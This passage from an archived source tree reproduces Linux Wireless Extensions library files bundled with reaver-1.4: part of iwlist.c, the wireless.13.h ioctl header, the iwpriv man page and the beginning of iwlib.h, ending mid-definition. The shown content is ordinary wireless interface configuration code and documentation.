char buf[IW_GENERIC_IE_MAX]; /* Avoid "Unused parameter" warning */ args = args; count = count; wrq.u.data.pointer = (caddr_t)buf; wrq.u.data.length = IW_GENERIC_IE_MAX; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWGENIE, &wrq) < 0) fprintf(stderr, "%-8.16s no generic IE (%s).\n\n", ifname, strerror(errno)); else { fprintf(stderr, "%-8.16s\n", ifname); if(wrq.u.data.length == 0) printf(" empty generic IE\n"); else iw_print_gen_ie(buf, wrq.u.data.length); printf("\n"); } return(0); } /**************************** MODULATION ****************************/ /*------------------------------------------------------------------*/ /* * Print Modulation info for each device */ static int print_modul_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 11)) fprintf(stderr, "%-8.16s no modulation information.\n\n", ifname); else { if(range.modul_capa == 0x0) printf("%-8.16s unknown modulation information.\n\n", ifname); else { int i; printf("%-8.16s Modulations available :\n", ifname); /* Display each modulation available */ for(i = 0; i < IW_SIZE_MODUL_LIST; i++) { if((range.modul_capa & iw_modul_list[i].mask) == iw_modul_list[i].mask) printf(" %-8s: %s\n", iw_modul_list[i].cmd, iw_modul_list[i].verbose); } /* Get current modulations settings */ wrq.u.param.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWMODUL, &wrq) >= 0) { unsigned int modul = wrq.u.param.value; int n = 0; printf(" Current modulations %c", wrq.u.param.fixed ? '=' : ':'); /* Display each modulation enabled */ for(i = 0; i < IW_SIZE_MODUL_LIST; i++) { if((modul & iw_modul_list[i].mask) == iw_modul_list[i].mask) { if((n++ % 8) == 0) printf("\n "); else printf(" ; "); printf("%s", iw_modul_list[i].cmd); } } printf("\n"); } printf("\n"); } } return(0); } #endif /* WE_ESSENTIAL */ /************************* COMMON UTILITIES *************************/ /* * This section was initially written by Michael Tokarev * but heavily modified by me ;-) */ /*------------------------------------------------------------------*/ /* * Map command line arguments to the proper procedure... */ typedef struct iwlist_entry { const char * cmd; /* Command line shorthand */ iw_enum_handler fn; /* Subroutine */ int max_count; const char * argsname; /* Args as human readable string */ } iwlist_cmd; static const struct iwlist_entry iwlist_cmds[] = { { "scanning", print_scanning_info, -1, "[essid NNN] [last]" }, { "frequency", print_freq_info, 0, NULL }, { "channel", print_freq_info, 0, NULL }, { "bitrate", print_bitrate_info, 0, NULL }, { "rate", print_bitrate_info, 0, NULL }, { "encryption", print_keys_info, 0, NULL }, { "keys", print_keys_info, 0, NULL }, { "power", print_pm_info, 0, NULL }, #ifndef WE_ESSENTIAL { "txpower", print_txpower_info, 0, NULL }, { "retry", print_retry_info, 0, NULL }, { "ap", print_ap_info, 0, NULL }, { "accesspoints", print_ap_info, 0, NULL }, { "peers", print_ap_info, 0, NULL }, { "event", print_event_capa_info, 0, NULL }, { "auth", print_auth_info, 0, NULL }, { "wpakeys", print_wpakeys_info, 0, NULL }, { "genie", print_gen_ie_info, 0, NULL }, { "modulation", print_modul_info, 0, NULL }, #endif /* WE_ESSENTIAL */ { NULL, NULL, 0, 0 }, }; /*------------------------------------------------------------------*/ /* * Find the most appropriate command matching the command line */ static inline const iwlist_cmd * find_command(const char * cmd) { const iwlist_cmd * found = NULL; int ambig = 0; unsigned int len = strlen(cmd); int i; /* Go through all commands */ for(i = 0; iwlist_cmds[i].cmd != NULL; ++i) { /* No match -> next one */ if(strncasecmp(iwlist_cmds[i].cmd, cmd, len) != 0) continue; /* Exact match -> perfect */ if(len == strlen(iwlist_cmds[i].cmd)) return &iwlist_cmds[i]; /* Partial match */ if(found == NULL) /* First time */ found = &iwlist_cmds[i]; else /* Another time */ if (iwlist_cmds[i].fn != found->fn) ambig = 1; } if(found == NULL) { fprintf(stderr, "iwlist: unknown command `%s' (check 'iwlist --help').\n", cmd); return NULL; } if(ambig) { fprintf(stderr, "iwlist: command `%s' is ambiguous (check 'iwlist --help').\n", cmd); return NULL; } return found; } /*------------------------------------------------------------------*/ /* * Display help */ static void iw_usage(int status) { FILE * f = status ? stderr : stdout; int i; for(i = 0; iwlist_cmds[i].cmd != NULL; ++i) { fprintf(f, "%s [interface] %s %s\n", (i ? " " : "Usage: iwlist"), iwlist_cmds[i].cmd, iwlist_cmds[i].argsname ? iwlist_cmds[i].argsname : ""); } exit(status); } /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { int skfd; /* generic raw socket desc. */ char *dev; /* device name */ char *cmd; /* command */ char **args; /* Command arguments */ int count; /* Number of arguments */ const iwlist_cmd *iwcmd; if(argc < 2) iw_usage(1); /* Those don't apply to all interfaces */ if((argc == 2) && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) iw_usage(0); if((argc == 2) && (!strcmp(argv[1], "-v") || !strcmp(argv[1], "--version"))) return(iw_print_version_info("iwlist")); if(argc == 2) { cmd = argv[1]; dev = NULL; args = NULL; count = 0; } else { cmd = argv[2]; dev = argv[1]; args = argv + 3; count = argc - 3; } /* find a command */ iwcmd = find_command(cmd); if(iwcmd == NULL) return 1; /* Check arg numbers */ if((iwcmd->max_count >= 0) && (count > iwcmd->max_count)) { fprintf(stderr, "iwlist: command `%s' needs fewer arguments (max %d)\n", iwcmd->cmd, iwcmd->max_count); return 1; } /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return -1; } /* do the actual work */ if (dev) (*iwcmd->fn)(skfd, dev, args, count); else iw_enum_devices(skfd, iwcmd->fn, args, count); /* Close the socket. */ iw_sockets_close(skfd); return 0; } reaver-1.4/src/lwe/wireless.13.h0000755000175000017500000005216311705505257016023 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 13 6.12.01 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2001 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2001 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # include/linux/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 13 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Basic operations */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ #define SIOCSIWNWID 0x8B02 /* set network id (the cell) */ #define SIOCGIWNWID 0x8B03 /* get network id */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* Mobile IP support */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* get list of access point in range */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... * The "flags" member indicate if the ESSID is active or not (promiscuous). */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 16 ioctl are wireless device private. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). * And I repeat : you are not obliged to use them with iwspy, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __u32 m; /* Mantissa */ __u16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct sockaddr ap_addr; /* Access point address */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Average quality of link & SNR */ struct iw_quality avg_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwpriv.80000755000175000017500000000576411705505257015211 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwpriv.8 .\" .TH IWPRIV 8 "31 October 1996" "net-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwpriv \- configure optionals (private) parameters of a wireless network interface .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwpriv [" interface ] .br .BI "iwpriv " "interface private-command " "[" private-parameters ] .br .BI "iwpriv " "interface private-command " [ I "] [" private-parameters ] .br .BI "iwpriv " interface " --all" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwpriv is the companion tool to .IR iwconfig (8). .B Iwpriv deals with parameters and setting specific to each driver (as opposed to .I iwconfig which deals with generic ones). .PP Without any argument, .B iwpriv list the available private commands available on each interface, and the parameters that they require. Using this information, the user may apply those interface specific commands on the specified interface. .PP In theory, the documentation of each device driver should indicate how to use those interface specific commands and their effect. .\" .\" PARAMETER part .\" .SH PARAMETERS .TP .IR private-command " [" private-parameters ] Execute the specified .I private-command on the interface. .br The command may optionally take or require arguments, and may display information. Therefore, the command line parameters may or may not be needed and should match the command expectations. The list of commands that .B iwpriv displays (when called without argument) should give you some hints about those parameters. .br However you should refer to the device driver documentation for information on how to properly use the command and the effect. .TP .IR "private-command " [ I "] [" private-parameters ] Idem, except that .I I (an integer) is passed to the command as a .IR "Token Index" . Only some command will use the Token Index (most will ignore it), and the driver documentation should tell you when it's needed. .TP .BR -a / --all Execute and display all the private commands that don't take any arguments (i.e. read only). .\" .\" DISPLAY part .\" .SH DISPLAY For each device which support private commands, .I iwpriv will display the list of private commands available. .PP This include the name of the private command, the number or arguments that may be set and their type, and the number or arguments that may be display and their type. .PP For example, you may have the following display : .br .B "eth0 Available private ioctl :" .br .B " setqualthr (89F0) : set 1 byte & get 0" .br .B " gethisto (89F7) : set 0 & get 16 int" .PP This indicate that you may set the quality threshold and display an histogram of up to 16 values with the following commands : .br .I " iwpriv eth0 setqualthr 20" .br .I " iwpriv eth0 gethisto" .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" FILES part .\" .SH FILES .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwspy (8), .BR wireless (7). reaver-1.4/src/lwe/iwlib.h0000755000175000017500000004073111705505257015050 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Common header for the Wireless Extension library... * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ #ifndef IWLIB_H #define IWLIB_H /*#include "CHANGELOG.h"*/ /***************************** INCLUDES *****************************/ /* Standard headers */ #include #include #include #include #include #include #include #include #include #include #include /* gethostbyname, getnetbyname */ #include /* struct ether_addr */ #include /* struct timeval */ #include /* This is our header selection. Try to hide the mess and the misery :-( * Don't look, you would go blind ;-) * Note : compatibility with *old* distributions has been removed, * you will need Glibc 2.2 and older to compile (which means * Mandrake 8.0, Debian 2.3, RH 7.1 or older). */ /* Set of headers proposed by Dr. Michael Rietz , 27.3.2 */ #include /* For ARPHRD_ETHER */ #include /* For AF_INET & struct sockaddr */ #include /* For struct sockaddr_in */ #include /* Fixup to be able to include kernel includes in userspace. * Basically, kill the sparse annotations... Jean II */ #ifndef __user #define __user #endif #include /* for "caddr_t" et al */ /* Glibc systems headers are supposedly less problematic than kernel ones */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /* Private copy of Wireless extensions (in this directoty) */ #include "wireless.h" /* Make gcc understant that when we say inline, we mean it. * I really hate when the compiler is trying to be more clever than me, * because in this case gcc is not able to figure out functions with a * single call site, so not only I have to tag those functions inline * by hand, but then it refuse to inline them properly. * Total saving for iwevent : 150B = 0.7%. * Fortunately, in gcc 3.4, they now automatically inline static functions * with a single call site. Hurrah ! * Jean II */ #undef IW_GCC_HAS_BROKEN_INLINE #if __GNUC__ == 3 #if __GNUC_MINOR__ >= 1 && __GNUC_MINOR__ < 4 #define IW_GCC_HAS_BROKEN_INLINE 1 #endif /* __GNUC_MINOR__ */ #endif /* __GNUC__ */ /* However, gcc 4.0 has introduce a new "feature", when compiling with * '-Os', it does not want to inline iw_ether_cmp() and friends. * So, we need to fix inline again ! * Jean II */ #if __GNUC__ == 4 #define IW_GCC_HAS_BROKEN_INLINE 1 #endif /* __GNUC__ */ /* Now, really fix the inline */ #ifdef IW_GCC_HAS_BROKEN_INLINE #ifdef inline #undef inline #endif /* inline */ #define inline inline __attribute__((always_inline)) #endif /* IW_GCC_HAS_BROKEN_INLINE */ #ifdef __cplusplus extern "C" { #endif /****************************** DEBUG ******************************/ //#define DEBUG 1 /************************ CONSTANTS & MACROS ************************/ /* Various versions information */ /* Recommended Wireless Extension version */ #define WE_VERSION 21 /* Maximum forward compatibility built in this version of WT */ #define WE_MAX_VERSION 22 /* Version of Wireless Tools */ #define WT_VERSION 29 /* Paths */ #define PROC_NET_WIRELESS "/proc/net/wireless" #define PROC_NET_DEV "/proc/net/dev" /* Some usefull constants */ #define KILO 1e3 #define MEGA 1e6 #define GIGA 1e9 /* For doing log10/exp10 without libm */ #define LOG10_MAGIC 1.25892541179 /* Backward compatibility for network headers */ #ifndef ARPHRD_IEEE80211 #define ARPHRD_IEEE80211 801 /* IEEE 802.11 */ #endif /* ARPHRD_IEEE80211 */ #ifndef IW_EV_LCP_PK_LEN /* Size of the Event prefix when packed in stream */ #define IW_EV_LCP_PK_LEN (4) /* Size of the various events when packed in stream */ #define IW_EV_CHAR_PK_LEN (IW_EV_LCP_PK_LEN + IFNAMSIZ) #define IW_EV_UINT_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(__u32)) #define IW_EV_FREQ_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_freq)) #define 